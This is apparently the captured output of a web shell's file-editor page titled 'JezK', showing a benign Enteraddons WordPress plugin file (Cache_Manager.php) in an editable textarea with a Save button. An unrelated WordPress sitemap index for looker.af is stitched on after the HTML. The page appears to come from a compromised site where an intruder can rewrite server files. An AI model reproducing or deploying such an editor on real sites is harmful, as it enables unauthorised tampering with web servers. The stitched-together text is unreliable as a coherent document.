
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Cache_Manager.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace Enteraddons\Classes;
/**
 * Enteraddons helper class
 *
 * @package     Enteraddons
 * @author      ThemeLooks
 * @copyright   2022 ThemeLooks
 * @license     GPL-2.0-or-later
 *
 *
 */
if( !defined( &#039;WPINC&#039; ) ) {
    die;
}

class Cache_Manager {

	public static function init() {
		add_action( &#039;elementor/editor/after_save&#039;, [ __CLASS__, &#039;widgets_cache&#039; ], 10, 2 );
		add_action( &#039;after_delete_post&#039;, [ __CLASS__, &#039;delete_cache&#039; ] );
		add_action( &#039;wp_enqueue_scripts&#039;, [ __CLASS__, &#039;enqueue_frontend&#039; ] );
	}

	public static function widgets_cache( $post_id, $editor_data ) {
		$widgets = self::getWidgetsList( $editor_data );
		$Assets_Cache = new Assets_Cache( $post_id, $widgets );
		$Assets_Cache::putStyle();
	}

	public static function delete_cache( $post_id ) {
		$Assets_Cache = new Assets_Cache( $post_id );
		$Assets_Cache::deleteCacheFile();
	}

	public static function enqueue_frontend() {
		if( !\Enteraddons\Classes\Helper::is_elementor_edit_mode() ) {
			$Assets_Cache = new Assets_Cache( get_the_ID() );
			$Assets_Cache::enqueue();
		}
	}

	public static function getWidgetsList( $data ) {

		$widgets = [];
		foreach( new \RecursiveIteratorIterator( new \RecursiveArrayIterator( $data ), \RecursiveIteratorIterator::LEAVES_ONLY ) as $iteratorKey =&gt; $iteratorValue ){
			if( $iteratorKey == &#039;widgetType&#039; ) {
				$widgets[] = self::purifyWidgetsName( $iteratorValue );
			}
		}
		return array_unique( $widgets );
	}

	public static function purifyWidgetsName( $string ) {
		return str_replace(&#039;enteraddons-&#039;, &#039;&#039;, $string);
	}
} // End Class
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
